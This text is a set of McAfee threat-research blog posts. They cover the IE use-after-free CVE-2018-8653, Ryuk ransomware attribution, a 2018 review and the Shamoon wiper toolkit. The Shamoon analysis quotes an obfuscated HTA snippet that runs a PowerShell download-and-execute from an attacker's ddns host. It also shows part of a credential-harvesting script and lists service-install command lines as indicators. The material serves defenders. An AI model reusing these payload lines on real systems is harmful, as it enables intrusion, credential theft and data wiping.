The IE scripting engine jscript.dll is a code base that has been heavily audited:

It is no surprise that exploitable bugs are becoming more exotic. This is the case for CVE 2018-8653, which takes three seemingly innocent behaviors and turns them into a use-after-free flaw. A Microsoft-specific extension triggers a rarely explored code path that eventually misbehaves and invokes a frequently used function with unusual arguments. This leads to the use-after-free condition that was exploited in the wild.

The enumerator object: The entry point for this vulnerability is a Microsoft-specific extension, the enumerator object. It offers an API to enumerate opaque objects that belong to the Windows world (mostly ActiveX components, such as a file system descriptor used to list drives on a system). However, it can also be called on a JavaScript array. In this situation, one can access the array member as usual, but objects created this way are stored slightly differently in memory. This is the cause of interesting side effects.

The objects created by calling the Enumerator.prototype.item() function are recognized as an ActiveXObject and, as seen in the creation of eObj, we can under certain circumstances overwrite the “prototype” member that should have been a read-only property.

Unexpected side effect: The ability to overwrite the prototype member of an ActiveXObject can seem innocuous at first, but it can be leveraged to explore a code path that should not be reachable.

When using the “instanceof” keyword, we can see that the right side of the keyword expects a function. However, with a specially crafted object, the instanceof call succeeds and, worse, we can control the code being executed.

The edge case of invoking instanceof on a specially crafted ActiveXObject gives us the opportunity to run custom JavaScript code from a callback we control, which is typically an error-prone situation.

Attackers successfully turned this bug into a use-after-free condition, as we shall see next.

Exploiting the bug: Without getting into too much detail (see the proof of concept later in this document for more info), this bug can be turned into a “delete this” type of primitive, which resembles previously reported bugs.
When the callback function (“f” in our previous example) is invoked, the keyword “this” points to eObj.prototype. If we set it to null and then trigger a garbage collection, the memory backing the object can be freed and later reclaimed. However, as mentioned in the Project Zero bug report, to be successful an entire block of variables needs to be cleared before the memory is freed.

The out-of-band patch: Microsoft released an unscheduled patch to fix this vulnerability. It is common practice for us to look at what changed before and after the patch. Interestingly, this patch changes the strict minimum number of bytes, while the version number of the DLL remains unchanged.

Using the popular diffing tool Diaphora, we compared the version of jscript.dll for Windows 10, x64-bit edition (feature version 1809).

We can see that only a few functions were modified. All but one point to array-related functions. Those were probably patches addressing CVE 2018-8631 (jscript!JsArrayFunctionHeapSort out-of-bounds write). The only one remaining that was substantially modified is NameTbl::InvokeInternal.

Diaphora provides us with a diff of the assembly code of the two versions of the function. In this instance, it is easier to compare the functions side by side in Ida Pro to see what has changed. A quick glance toward the end of the function shows the introduction of two calls to GCRoot::~GCRoot (the destructor of the object GCRoot).

Looking at the implementation of ~GCRoot, we see it is the same code as that inlined in that function created by the compiler in the older version of the DLL.

In the newer version of the DLL, this function is called twice; while in the unpatched version, the code was called only once (inlined by the compiler, hence the absence of a function call). In C++ parlance, ~GCRoot is the destructor of GCRoot, so we may want to find the constructor of GCRoot. An easy trick is to notice the magic offset 0x3D0 to see if this value is used anywhere else. We find it near the top of the same function (the unpatched version is on the left):

Diving into the nitty gritty of garbage collection for jscript.dll is beyond the scope of this post, so let’s make some assumptions. In C++/C#, GCRoot would usually design a template to keep track of references pointing to the object being used, so those do not have garbage collection. Here it looks as though we are saving stack addresses (aka local variables) into a list of GCRoot objects to tell the garbage collector not to collect the objects whose pointers are on those specific locations on the stack. In hindsight this makes sense; we were able to “delete this” because “this” was not tracked by the garbage collector, so now Microsoft makes sure to specifically add that stack variable to the tracked elements.

We can verify this hypothesis by tracing the code around an invocation of instanceof. It turns out that just before invoking our custom “isPrototypeOf” callback function, a call to NameTbl::GetVarThis stores a pointer in the newly “protected” stack variable and then invokes ScrFncObj::Call to execute our callback.

Looking at unexpected behavior in `instanceof`: Curious readers might wonder why it is possible to invoke instanceof on a custom object rather than on a function (as described previously). When instanceof is invoked in JavaScript, the CScriptRuntime::InstOf function is called behind the scene. Early on, the function distinguishes two cases. If the variable type is 0x81 (which seems to be a broad type for a JavaScript object on the heap), then it invokes a virtual function that returns true/false if the object can be called. On the other hand, if the type is not 0x81, a different path is followed; it tries to automatically resolve the prototype object and invoke isPrototypeOf.

The 0x81 path:

The not 0x81 path:

 

 

Proof of concept

Now that we have seen the ins and outs of the bug, let’s look at a simple proof of concept that exhibits the use-after-free behavior.

First, we set up a couple of arrays, so that everything that can be preallocated is allocated, and the heap is in a somewhat ready state for the use after free.

Then, we declare our custom callback and trigger the vulnerability:

For some reason, the objects array needs to be freed and garbage collected before the next step of the exploit. This could be due to some side effect of freeing the ActiveXObject. The memory is reclaimed when we assign “1” to the property reallocPropertyName. That variable is a magic string that will be copied over the recently freed memory to mimic legitimate variables. It is created as shown:

The 0x0003 is a variable type that tells us the following value is an integer and that 1337 is its value. The string needs to be long enough to trigger an allocation of the same or similar size as the memory block that was recently freed.

To summarize, JavaScript variables (here, the RegExp objects) are stored in a block; when all the variables from the block are freed, the block itself is freed. In the right circumstances, the newly allocated string can take the place of the recently freed block, and because “this” is still dangling in our callback, it can be used for some type confusion. (This is the method used by the attackers, but beyond the scope of this post.) In this example, the code will print 1337 instead of an empty RegExp.

McAfee coverage

Please refer to the McAfee product bulletin for full coverage updates. Here is a short summary of current product coverage as of this writing.

Endpoint products: Endpoint Security (ENS), ENS Adaptive Threat Protection (ENS-ATP), Host Intrusion Prevention (HIPS), VirusScan Enterprise (VSE), WSS.

  • ENS (10.2.0+) with Exploit Prevention
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • HIPS (8.0.0+)
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • ENS (all versions) and WSS (all versions). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V3 DAT (3564)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a
  • VSE (8.8+). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V2 DAT (9113)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a

Content summary

  • DATs: V2 DAT (9113), V3 DAT (3564)
  • Generic Buffer Overflow Protection Signature ID 428

MITRE score

The base score (CVSS v3.0) for this vulnerability is 7.5 (High) with an impact score of 5.9 and an exploitability score of 1.6.

Conclusion

CVE-2018-8653 targets multiple versions of Internet Explorer and other applications that rely on the same scripting engine. Attackers can execute arbitrary code on unpatched hosts from specifically crafted web pages or JavaScript files. Even though the bug was recently fixed by Microsoft, we can expect exploit kits to soon deploy a weaponized version of this critical vulnerability, leveraging it to target remaining unpatched systems. The technical analysis in this post should provide enough information for defenders to ensure their systems will withstand the threat and to know which primitives to look for as an entry point for the attack. McAfee security products can be leveraged to provide specific “virtual patching” for this threat until full software patches can be deployed, while current generic buffer overflow protection rules can be used to fingerprint exploit attempts against this and similar vulnerabilities.

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

Ryuk Ransomware Attack: Rush to Attribution Misses the Point

Senior analyst Ryan Sherstobitoff contributed to this report.

During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea. Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.

The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it. Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.

How McAfee approaches attribution

Attribution is a critical part of any cybercrime investigation. However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.

Ryuk attack: putting the pieces together

In October 2017, we investigated an attack on a Taiwanese bank. We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money. We used the term pseudo-ransomware to describe this attack. The malware was Hermes version 2.1.

One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

That was October 2017. Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware:

What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction? Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?

In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.

This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018. This first appearance came well before last week’s attack on newspaper printing services.

Manga connection

Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.” Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.

Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry. It seems the criminals behind Ryuk are into manga.

The use of manga character names and references is common in the cybercriminal scene. We often come across manga-inspired nicknames and avatars in underground forums.

Technical indicators

Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal. We agree that the actors behind Ryuk have access to the Hermes source code.

Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths:

We can see the PDB paths are almost identical. When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.

From a call-flow perspective, we notice the similarities and evolution of the code:

The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.

The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively. If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.

Attribution: analyzing competing hypotheses

In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question). Who did it? This pursuit is understandable yet fundamentally flawed. Attribution is crucial, but there will always be unanswered questions. Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.

Our approach is always to analyze competing hypotheses. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

Examining competing hypotheses is a scientific approach to investigating cyber incidents. It may not help with the race to attribution, but it ensures the output is based on available evidence.

The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor. From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Who is responsible? We do not know. But we do know how the malware works, how the attackers operate, and how to detect the threat. That analysis is essential because it allows us to serve our customers.

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

McAfee 2018: Year in Review

2018 was an eventful year for all of us at McAfee. It was full of discovery, innovation, and progress—and we’re thrilled to have seen it all come to fruition. Before we look ahead to what’s in the pipeline for 2019, let’s take a look back at all the progress we’ve made this year and see how McAfee events, discoveries, and product announcements have affected, educated, and assisted users and enterprises everywhere.

MPOWERing Security Professionals Around the World

Every year, security experts gather at MPOWER Cybersecurity Summit to strategize, network, and learn about innovative ways to ward off advanced cyberattacks. This year was no different, as innovation was everywhere at MPOWER Americas, APAC, Japan, and EMEA. At the Americas event, we hosted Partner Summit, where head of channel sales and operations for the Americas, Ken McCray, discussed the program, products, and corporate strategy. Partners had the opportunity to dig deeper into this information through several Q&A sessions throughout the day. MPOWER Americas also featured groundbreaking announcements, including McAfee CEO Chris Young’s announcement of the latest additions to the MVISION product family: MVISION® Endpoint Detection and Response (MVISION EDR) and MVISION® Cloud.

ATR Analysis

This year was a prolific one, especially for our Advanced Threat Research team, which unveiled discovery after discovery about the threat landscape, from ‘Operation Oceansalt’ delivering five distinct waves of attacks on victims, to Triton malware spearheading the latest attacks on industrial systems, to GandCrab ransomware evolving rapidly, to the Cortana vulnerability. These discoveries not only taught us about cybercriminal techniques and intentions, but they also helped us prepare ourselves for potential threats in 2019.

Progress via Products

2018 wouldn’t be complete without a plethora of product updates and announcements, all designed to help organizations secure crucial data. This year, we were proud to announce McAfee MVISION®, a collection of products designed to support native security controls and third-party technologies.

McAfee MVISION® Endpoint orchestrates the native security controls in Windows 10 with targeted advanced threat defenses in a unified management workflow to visualize and investigate threats, understand compliance, and pivot to action. McAfee MVISION®  Mobile protects against threats on Android and iOS devices. McAfee MVISION® ePO, a SaaS service, is designed to eliminate complexity by elevating management above the specific threat defense technologies with simple, intuitive workflows for security threat and compliance control across devices.

Beyond that, many McAfee products were updated to help security teams everywhere adapt to the ever-evolving threat landscape, and some even took home awards for their excellence.

All in all, 2018 was a great year. But, as always with cybersecurity, there’s still work to do, and we’re excited to work together to create a secure 2019 for everyone.

To learn more about McAfee, be sure to follow us at @McAfee and @McAfee_Business.

The post McAfee 2018: Year in Review appeared first on McAfee Blogs.

Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.